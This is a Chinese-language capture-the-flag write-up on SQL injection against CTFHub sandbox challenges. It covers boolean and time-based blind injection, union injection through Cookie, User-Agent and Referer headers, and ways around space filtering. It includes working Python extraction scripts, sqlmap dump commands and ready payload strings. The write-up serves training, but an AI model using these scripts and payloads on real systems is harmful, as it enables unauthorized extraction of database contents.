Web SQL 注入实战
布尔盲注
原理与思路
布尔盲注与普通注入的区别在于,它不直接返回查询结果,而是根据查询是否成功返回布尔值。这意味着我们需要通过构造条件语句,观察页面响应(通常是'成功'或'错误')来推断数据。由于无法直接看到回显,通常需要使用脚本进行穷举。
攻击的一般思路如下:
- 探测数据库名长度
- 根据长度逐字符爆破库名
- 获取当前库的表数量
- 依次探测每个表的名称和列名
- 最终提取目标数据
常用函数包括 substr(str, from, length) 用于截取字符串,以及 length(str) 判断长度。
实战演练
假设我们访问题目环境,输入 1 后看到查询语句为 select * from news where id=1。我们可以尝试将注入语句与 ?id=1 并列。
1. 探测库名长度
使用 length() 函数配合 and 逻辑判断。例如:
1 and length(database())=1
如果返回 query_error,说明长度不是 1;若返回 query_success,则匹配成功。通过遍历数字,我们发现数据库长度为 4。
2. 爆破库名
确定长度后,利用 substr(database(), i, 1) 逐个字符猜测。为了效率,可以编写 Python 脚本自动化这个过程。
import urllib.request
import urllib.parse
url = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id="
map_str = "abcdefghijklmnopqrstuvwxyz"
query_success = []
for i in range(1, 5):
for x in map_str:
bool_inj = f"1 and substr(database(),{i},1)='{x}'"
query_n = url + urllib.parse.quote(bool_inj)
try:
resp = urllib.request.urlopen(query_n, timeout=8)
body = resp.read().decode('utf-8', errors='ignore')
except Exception as e:
print(f"[!] 请求失败 pos={i} ch='{x}': {e}")
continue
if "query_success" in body:
print(f"[✔] position {i}: found '{x}'")
query_success.append((i, x))
break
else:
print(f"[-] position {i} try '{x}' -> not matched")
result = [c for p, c in sorted(query_success)]
print("[+] database() (assembled from found positions) =", "".join(result))
运行脚本后,我们可以确认库名为 sqli。
3. 获取表结构与数据
接下来的步骤类似,先查表数量,再查表名长度,最后查表名。对于 information_schema.tables 的查询,可以使用 COUNT(*) 或 LIMIT 偏移量。
一旦找到包含 Flag 的表(如 flag),同样需要探测其列数和列名,最后提取具体数据。
4. 自动化脚本整合
针对这类题目,可以将上述逻辑封装成一个完整的枚举脚本。脚本会依次探测表数量、表名、列名,并在发现特定表(如 flag)时自动提取内容。
sqlmap 辅助
除了手写脚本,sqlmap 也是强大的工具。以下命令可快速完成信息收集:
sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" --dbs
sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump
时间盲注
原理
当无法通过布尔值判断时,可以利用数据库执行时间的延迟来推断信息。核心是构造包含时间延迟函数的 SQL 语句,如 MySQL 的 SLEEP(n) 或 BENCHMARK()。
工作流程:
- 构造带延迟条件的语句
- 观察页面响应时间
- 响应时间长表示条件为真,反之则为假
示例:
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
解题过程
思路与布尔盲注一致,只是判断依据变成了时间。
- 探测库名:通过
IF(LENGTH(DATABASE()) = N, SLEEP(2), 1)判断长度。 - 探测表名:利用
SUBSTRING和SLEEP组合,逐位猜测表名。 - 提取数据:对目标列进行同样的时间盲注操作。
Python 脚本实现时,主要区别在于发送请求后记录响应时间,并与阈值比较。
import requests
import time
import string
URL = "http://challenge-e1c4cde8563d3b80.sandbox.ctfhub.com:10800/"
PARAM = "id"
TABLE = "flag"
COLUMN = "flag"
ROW_INDEX = 0
SLEEP_TIME = 2
THRESHOLD = 2
CHARSET = string.ascii_letters + string.digits + "{}_"
def send_payload(payload):
start = time.time()
try:
r = requests.get(URL, params={PARAM: payload}, timeout=5)
except requests.RequestException:
return 0
return time.time() - start
def get_char(pos):
for ch in CHARSET:
payload = f"1 AND IF(SUBSTRING((SELECT {COLUMN} FROM {TABLE} LIMIT {ROW_INDEX},1),{pos},1)='{ch}',SLEEP({SLEEP_TIME}),1)"
elapsed = send_payload(payload)
if elapsed >= THRESHOLD:
print(f"[+] pos {pos}: {ch}")
return ch
return None
if __name__ == "__main__":
data = ""
for i in range(1, 50):
ch = get_char(i)
if not ch: break
data += ch
print(f"[+] Done: {data}")
联合查询注入(Cookie/UA/Refer)
联合注入通常用于有回显的场景。除了 URL 参数,注入点也可能出现在 Cookie、User-Agent 或 Referer 等头部。
Cookie 注入
- 抓包分析,发现未加密的 Cookie 字段。
- 尝试
order by确定字段数。 - 使用
-1 union select 1,2#测试回显位置。 - 结合
group_concat获取数据库结构。
UA 与 Refer 注入
原理相同,只需修改对应的 HTTP 头。例如在 UA 头中注入:
-1 union select 1,database()#
注意部分环境可能需要 URL 编码特殊字符。
过滤空格绕过
当 SQL 语句中的空格被过滤时,有多种替代方案:
- 注释符绕过:使用
/* */包裹空格。UNION/**/SELECT/**/1,2 - 括号绕过:利用括号作为分隔符。
SELECT(username),(password)FROM(users) - URL 编码:使用
%20或其他编码形式。
实战案例
假设遇到空格过滤,我们可以将标准 Payload 改写:
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/
通过这种方式,依然可以顺利获取表名和列名,最终拿到 Flag。
总结
SQL 注入的核心在于理解数据库的查询机制。无论是盲注的时间差、布尔值,还是联合查询的回显,本质都是让服务器执行我们构造的 SQL 语句。掌握这些技巧,配合自动化工具,能极大提高渗透效率。在实际操作中,务必遵守法律法规,仅在授权范围内进行测试。


